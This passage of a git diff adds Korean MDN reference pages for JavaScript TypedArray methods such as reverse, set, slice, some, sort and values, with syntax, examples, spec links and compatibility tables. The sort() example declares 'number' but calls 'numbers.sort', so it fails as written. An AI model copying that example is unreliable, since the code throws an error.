+ <dt>{{jsxref("TypedArray.prototype.copyWithin()")}}</dt>
+ <dd>배열 내부 일련의 배열 요소를 복사합니다. {{jsxref("Array.prototype.copyWithin()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.entries()")}}</dt>
+ <dd>배열 내 각 인덱스에 대한 키/값 쌍을 포함하는 새로운 <code>Array Iterator</code> 객체를 반환합니다. {{jsxref("Array.prototype.entries()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.every()")}}</dt>
+ <dd>배열의 모든 요소가 함수로 제공되는 테스트를 통과하는지를 테스트합니다. {{jsxref("Array.prototype.every()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.fill()")}}</dt>
+ <dd>시작 인덱스부터 끝 인덱스까지 배열의 모든 요소를 고정값으로 채웁니다. {{jsxref("Array.prototype.fill()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.filter()")}}</dt>
+ <dd>제공되는 필터링 함수가 true를 반환하는 이 배열의 모든 요소를 갖는 새로운 배열을 생성합니다. {{jsxref("Array.prototype.filter()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.find()")}}</dt>
+ <dd>배열 내 요소가 제공되는 테스트 함수를 만족하는 경우 배열 내 찾은 값 또는 못 찾은 경우 <code>undefined</code>를 반환합니다. {{jsxref("Array.prototype.find()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.findIndex()")}}</dt>
+ <dd>배열 내 요소가 제공되는 테스트 함수를 만족하는 경우 배열 내 찾은 인덱스 또는 못 찾은 경우 -1을 반환합니다. {{jsxref("Array.prototype.findIndex()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.forEach()")}}</dt>
+ <dd>배열 내 각 요소에 대해 함수를 호출합니다. {{jsxref("Array.prototype.forEach()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.includes()")}} {{experimental_inline}}</dt>
+ <dd>형식화 배열이 특정 요소를 포함하는지를 판단해, 적절히 <code>true</code> 또는 <code>false</code>를 반환합니다. {{jsxref("Array.prototype.includes()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.indexOf()")}}</dt>
+ <dd>지정된 값과 같은 배열 내부 요소의 첫(최소) 인덱스 또는 못 찾은 경우 -1을 반환합니다. {{jsxref("Array.prototype.indexOf()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.join()")}}</dt>
+ <dd>배열의 모든 요소를 문자열로 합칩니다. {{jsxref("Array.prototype.join()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.keys()")}}</dt>
+ <dd>배열의 각 인덱스에 대한 키를 포함하는 새로운 <code>Array Iterator</code>를 반환합니다. {{jsxref("Array.prototype.keys()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.lastIndexOf()")}}</dt>
+ <dd>지정된 값과 같은 배열 내부 요소의 끝(최대) 인덱스 또는 못 찾은 경우 -1을 반환합니다. {{jsxref("Array.prototype.lastIndexOf()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.map()")}}</dt>
+ <dd>이 배열의 모든 요소에 제공된 함수를 호출한 결과를 갖는 새로운 배열을 생성합니다. {{jsxref("Array.prototype.map()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.move()")}} {{non-standard_inline}} {{unimplemented_inline}}</dt>
+ <dd>{{jsxref("TypedArray.prototype.copyWithin()")}}의 이전 비표준 버전.</dd>
+ <dt>{{jsxref("TypedArray.prototype.reduce()")}}</dt>
+ <dd>누산기(accumulator) 및 배열의 각 값(좌에서 우로)에 대해 한 값으로 줄도록 함수를 적용합니다. {{jsxref("Array.prototype.reduce()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.reduceRight()")}}</dt>
+ <dd>누산기 및 배열의 각 값(우에서 좌로)에 대해 한 값으로 줄도록 함수를 적용합니다. {{jsxref("Array.prototype.reduceRight()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.reverse()")}}</dt>
+ <dd>배열 요소의 순서를 뒤집습니다 — 처음이 마지막이 되고 마지막이 처음이 됩니다. {{jsxref("Array.prototype.reverse()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.set()")}}</dt>
+ <dd>형식화 배열에 여러 값을 저장합니다, 지정된 배열에서 입력 값을 읽어.</dd>
+ <dt>{{jsxref("TypedArray.prototype.slice()")}}</dt>
+ <dd>배열의 한 부분을 추출하여 새로운 배열을 반환합니다. {{jsxref("Array.prototype.slice()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.some()")}}</dt>
+ <dd>이 배열의 적어도 한 요소가 제공된 테스트 함수를 만족하는 경우 true를 반환합니다. {{jsxref("Array.prototype.some()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.sort()")}}</dt>
+ <dd>배열의 요소를 적소에 정렬해 그 배열을 반환합니다. {{jsxref("Array.prototype.sort()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.subarray()")}}</dt>
+ <dd>주어진 시작 및 끝 요소 인덱스로부터 새로운 TypedArray를 반환합니다.</dd>
+ <dt>{{jsxref("TypedArray.prototype.values()")}}</dt>
+ <dd>배열의 각 인덱스에 대한 값을 포함하는 새로운 <code>Array Iterator</code> 객체를 반환합니다. {{jsxref("Array.prototype.values()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.toLocaleString()")}}</dt>
+ <dd>배열 및 그 요소를 나타내는 지역화된 문자열을 반환합니다. {{jsxref("Array.prototype.toLocaleString()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.toString()")}}</dt>
+ <dd>배열 및 그 요소를 나타내는 문자열을 반환합니다. {{jsxref("Array.prototype.toString()")}}도 참조.</dd>
+ <dt>{{jsxref("TypedArray.prototype.@@iterator()", "TypedArray.prototype[@@iterator]()")}}</dt>
+ <dd>배열의 각 인덱스에 대한 값을 포함하는 새로운 <code>Array Iterator</code> 객체를 반환합니다.</dd>
+</dl>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-the-%typedarrayprototype%-object', 'TypedArray prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-properties-of-the-%typedarrayprototype%-object', 'TypedArray prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>7.0</td>
+   <td>{{ CompatGeckoDesktop("2") }}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>5.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("2") }}</td>
+   <td>10</td>
+   <td>11.6</td>
+   <td>4.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/reverse/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/reverse/index.html
new file mode 100644
index 0000000000..0d7ff7f5e2
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/reverse/index.html
@@ -0,0 +1,69 @@
+---
+title: TypedArray.prototype.reverse()
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/reverse
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Method
+  - Prototype
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/reverse
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>reverse()</strong></code> 메서드는 제자리에서 형식화 배열을 뒤집습니다. 형식화 배열 첫 요소는 마지막이 되고 마지막은 첫 요소가 됩니다. 이 메서드는 {{jsxref("Array.prototype.reverse()")}}와 같은 알고리즘입니다. <em>TypedArray</em>는 여기 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_objects">TypedArray 객체 유형</a> 중 하나입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-reverse.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.reverse();
+</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>뒤집힌 배열.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">var uint8 = new Uint8Array([1, 2, 3]);
+uint8.reverse();
+
+console.log(uint8); // Uint8Array [3, 2, 1]
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-%typedarray%.prototype.reverse', 'TypedArray.prototype.reverse')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.reverse', 'TypedArray.prototype.reverse')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.TypedArray.reverse")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reverse()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/set/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/set/index.html
new file mode 100644
index 0000000000..3ce518f8cc
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/set/index.html
@@ -0,0 +1,95 @@
+---
+title: TypedArray.prototype.set()
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/set
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/set
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>set()</code></strong> 메서드는 지정된 배열로부터 입력 값을 읽어 형식화 배열 내에 여러 값을 저장합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-set.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>typedarr</var>.set(<em>array</em>[, <em>offset</em>])
+typedarr.set(<em>typedarray</em>[, <em>offset</em>])
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>array</code></dt>
+ <dd>값을 복사할 배열. 소스 배열로부터 모든 값이 대상 배열로 복사됩니다, 소스 배열의 길이 + 오프셋이 대상 배열의 길이를 초과하지 않는 한, 그 경우에는 예외가 발생됩니다.</dd>
+ <dt><code>typedarray</code></dt>
+ <dd>소스 배열이 형식화 배열인 경우, 두 배열은 기본 {{jsxref("ArrayBuffer")}}를 같이 공유할 수 있습니다; 브라우저는 버퍼의 소스 범위를 대상(destination) 범위로 똑똑하게 <strong>복사</strong>합니다.</dd>
+ <dt><code>offset</code> {{optional_inline}}</dt>
+ <dd>소스 <code>array</code>에서 값을 쓰기 시작하는 대상 배열의 오프셋. 이 값이 생략된 경우, 0으로 간주됩니다 (즉, 소스 <code>array</code>는 인덱스 0에서 시작하는 대상 배열 내 값을 덮어씁니다).</dd>
+</dl>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd><code>offset</code>이 가령 형식화 배열의 끝을 넘어서 저장하려고 설정된 경우 발생.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="set()_사용하기"><code>set()</code> 사용하기</h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var uint8 = new Uint8Array(buffer);
+
+uint8.set([1,2,3], 3);
+
+console.log(uint8); // Uint8Array [ 0, 0, 0, 1, 2, 3, 0, 0 ]
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>ECMAScript 6에 의해 대체됨.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-%typedarray%.prototype.set-array-offset', 'TypedArray.prototype.set')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>ECMA 표준에서 초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.set-array-offset', 'TypedArray.prototype.set')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.TypedArray.set")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">JavaScript 형식화 배열</a></li>
+ <li>{{jsxref("TypedArray")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/slice/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/slice/index.html
new file mode 100644
index 0000000000..adef23132b
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/slice/index.html
@@ -0,0 +1,129 @@
+---
+title: TypedArray.prototype.slice()
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/slice
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Method
+  - Prototype
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/slice
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>slice()</strong></code> 메서드는 형식화 배열의 일부를 얕게 복사(shallow copy)한 새로운 형식화 배열 객체를 반환합니다. 이 메서드는 {{jsxref("Array.prototype.slice()")}}와 같은 알고리즘입니다. <em>TypedArray</em>는 여기 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_객체">TypedArray 객체 유형</a> 중 하나입니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>typedarray</var>.slice([<var>begin</var>[, <var>end</var>]])</code></pre>
+
+<h2 id="매개변수">매개변수</h2>
+
+<dl>
+ <dt><code>begin</code> {{optional_inline}}</dt>
+ <dd>추출을 시작하는 인덱스(0부터 셈).</dd>
+ <dd>음수 인덱스일 때, <code>begin</code>은 열 끝으로부터 오프셋을 나타냅니다. <code>slice(-2)</code>는 열에서 마지막 두 요소를 추출합니다.</dd>
+ <dd><code>begin</code>이 생략된 경우, <code>slice</code>는 인덱스 <code>0</code>에서 시작합니다.</dd>
+ <dt><code>end</code> {{optional_inline}}</dt>
+ <dd>추출을 끝내는 인덱스(0부터 셈). <code>slice</code>는 <code>end</code>(를 포함하지 않음)까지만 추출합니다.</dd>
+ <dd><code>slice(1,4)</code>는 2번째부터 4번째 요소까지 추출합니다 (인덱스가 1, 2 및 3인 요소).</dd>
+ <dd>음수 인덱스일 때, <code>end</code>는 열 끝으로부터 오프셋을 나타냅니다. <code>slice(2,-1)</code>은 열의 3번째부터 끝에서 2번째 요소까지 추출합니다.</dd>
+ <dd><code>end</code>가 생략된 경우, <code>slice</code>는 열의 끝까지 추출합니다 (<code>arr.length</code>).</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>slice</code> 메서드는 바꾸지 않습니다. 원래 형식화 배열에서 얕게 복사된 요소를 반환합니다.</p>
+
+<p>새 요소가 어느 형식화 배열에든 추가된 경우, 다른 형식화 배열은 영향을 받지 않습니다.</p>
+
+<h2 id="예">예</h2>
+
+<h3 id="기존_형식화_배열의_일부를_반환">기존 형식화 배열의 일부를 반환</h3>
+
+<pre class="brush: js">var uint8 = new Uint8Array([1,2,3]);
+uint8.slice(1);   // Uint8Array [ 2, 3 ]
+uint8.slice(2);   // Uint8Array [ 3 ]
+uint8.slice(-2);  // Uint8Array [ 2, 3 ]
+uint8.slice(0,1); // Uint8Array [ 1 ]
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-%typedarray%.prototype.slice', '%TypedArray%.prototype.slice')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.slice', '%TypedArray%.prototype.slice')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>45</td>
+   <td>{{CompatGeckoDesktop("38")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("38")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.slice()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/some/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/some/index.html
new file mode 100644
index 0000000000..94ce55b40a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/some/index.html
@@ -0,0 +1,106 @@
+---
+title: TypedArray.prototype.some()
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/some
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/some
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>some()</strong></code> 메서드는 형식화 배열 내 일부 요소가 제공되는 함수에 의해 구현되는 테스트를 통과하는지 여부를 테스트합니다. 이 메서드는 {{jsxref("Array.prototype.some()")}}과 같은 알고리즘입니다. <em>TypedArray</em>는 여기 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_objects">TypedArray 객체 유형</a> 중 하나입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/typedarray-some.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.some(<var>callback</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>각 요소에 대해 테스트하는 함수, 다음 인수 셋을 취하는:
+ <dl>
+  <dt><code>currentValue</code></dt>
+  <dd>형식화 배열에서 현재 처리 중인 요소.</dd>
+  <dt><code>index</code></dt>
+  <dd>형식화 배열에서 현재 처리 중인 요소의 인덱스.</dd>
+  <dt><code>array</code></dt>
+  <dd><code>some</code>이 호출한 형식화 배열.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code></dt>
+ <dd>선택 사항. <code>callback</code>을 실행할 때 <code>this</code>로서 사용하는 값.</dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p><code>some</code> 메서드는 <code>callback</code>이 true 값을 반환하는 요소를 찾을 때까지 형식화 배열에 있는 각 요소에 대해 한 번 <code>callback</code> 함수를 실행합니다. 그런 요소가 발견된 경우, <code>some</code>은 즉시 <code>true</code>를 반환합니다. 그렇지 않으면, <code>some</code>은 <code>false</code>를 반환합니다.</p>
+
+<p><code>callback</code>은 세 인수와 함께 호출됩니다: 요소값, 요소 인덱스 및 순회(traverse)되는 배열 객체.</p>
+
+<p><code>thisArg</code> 매개변수가 <code>some</code>에 제공되는 경우, 호출될 때 <code>callback</code>에 전달됩니다, 그 <code>this</code> 값으로 사용하기 위해. 그렇지 않으면, <code>undefined</code> 값이 그 <code>this</code> 값으로 사용하기 위해 전달됩니다. <code>callback</code>에 의해 결국 관찰할 수 있는 <code>this</code> 값은 <a href="/ko/docs/Web/JavaScript/Reference/Operators/this">함수에 의해 보이는 <code>this</code>를 결정하는 평소 규칙</a>에 따라 결정됩니다.</p>
+
+<p><code>some</code>은 호출된 형식화 배열을 변화시키지(mutate) 않습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="모든_형식화_배열_요소의_크기_테스트">모든 형식화 배열 요소의 크기 테스트</h3>
+
+<p>다음 예는 형식화 배열의 모든 요소가 10보다 더 큰지 테스트합니다.</p>
+
+<pre class="brush: js  language-js">function isBiggerThan10(element, index, array) {
+  return element &gt; 10;
+}
+new Uint8Array([2, 5, 8, 1, 4]).some(isBiggerThan10); // false
+new Uint8Array([12, 5, 8, 1, 4]).some(isBiggerThan10); // true
+</pre>
+
+<h3 id="화살표_함수를_사용하여_형식화_배열_요소_테스트">화살표 함수를 사용하여 형식화 배열 요소 테스트</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Functions/애로우_펑션">화살표 함수</a>는 같은 테스트에 대해 더 짧은 구문을 제공합니다.</p>
+
+<pre class="brush: js">new Uint8Array([2, 5, 8, 1, 4]).some(elem =&gt; elem &gt; 10); // false
+new Uint8Array([12, 5, 8, 1, 4]).some(elem =&gt; elem &gt; 10); // true</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-%typedarray%.prototype.some', 'TypedArray.prototype.some')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.some', 'TypedArray.prototype.some')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.TypedArray.some")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("TypedArray.prototype.every()")}}</li>
+ <li>{{jsxref("Array.prototype.some()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/sort/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/sort/index.html
new file mode 100644
index 0000000000..ef94943b23
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/sort/index.html
@@ -0,0 +1,119 @@
+---
+title: TypedArray.prototype.sort()
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/sort
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Method
+  - Prototype
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/sort
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>sort()</strong></code> 메서드는 <em>적소에</em> 형식화 배열의 요소를 정렬하여 그 형식화 배열을 반환합니다. 이 메서드는 {{jsxref("Array.prototype.sort()")}}<em>와 같은 알고리즘입니다.</em> <em>TypedArray</em>는 여기 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/TypedArray#TypedArray_objects">형식화 배열 유형</a> 중 하나입니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>typedarray</var>.sort([<var>compareFunction</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>compareFunction</code> {{optional_inline}}</dt>
+ <dd>정렬 순서를 정의하는 함수를 지정합니다.</dd>
+</dl>
+
+<h2 id="예">예</h2>
+
+<p>더 많은 예는, {{jsxref("Array.prototype.sort()")}} 메서드도 참조하세요.</p>
+
+<pre class="brush: js">var number = new Uint8Array([40, 1, 5, 200]);
+
+function compareNumbers(a, b) {
+  return a - b;
+}
+
+numbers.sort(compareNumbers);
+// Uint8Array [ 1, 5, 40, 200 ]
+</pre>
+
+<h2 id="스펙">스펙</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">스펙</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-%typedarray%.prototype.sort', 'TypedArray.prototype.sort')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>초기 정의.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-%typedarray%.prototype.sort', 'TypedArray.prototype.sort')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(46)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(46)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.sort()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/typedarray/values/index.html b/files/ko/web/javascript/reference/global_objects/typedarray/values/index.html
new file mode 100644
index 0000000000..863d3c3cbb
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/typedarray/values/index.html
@@ -0,0 +1,127 @@
+---
+title: TypedArray.prototype.values()
+slug: Web/JavaScript/Reference/Global_Objects/TypedArray/values
+tags:
+  - ECMAScript6
+  - Iterator
+  - JavaScript
+  - Method
+  - Prototype
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/TypedArray/values
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>values()</code></strong> 메서드는 배열 내 각 인덱스에 대한 값을 포함하는 새로운 <code>Array Iterator</code> 객체를 반환합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.values()</code></pre>
+
+<h2 id="예">예</h2>
+
+<h3 id="for...of_루프를_사용한_반복"><code>for...of</code> 루프를 사용한 반복</h3>
+
+<pre class="brush: js">var arr = new Uint8Array([10, 20, 30, 40, 50]);
+var eArray = arr.values();
+// 브라우저가 for..of 루프 및 for 루프에서
+// let 스코프인 변수를 지원해야 합니다
+for (let n of eArray) {
+  console.log(n);
+}
+</pre>
+
+<h3 id="대안_반복">대안 반복</h3>
+
+<pre class="brush: js">var arr = new Uint8Array([10, 20, 30, 40, 50]);
+var eArr = arr.values();
+console.log(eArr.next().value); // 10
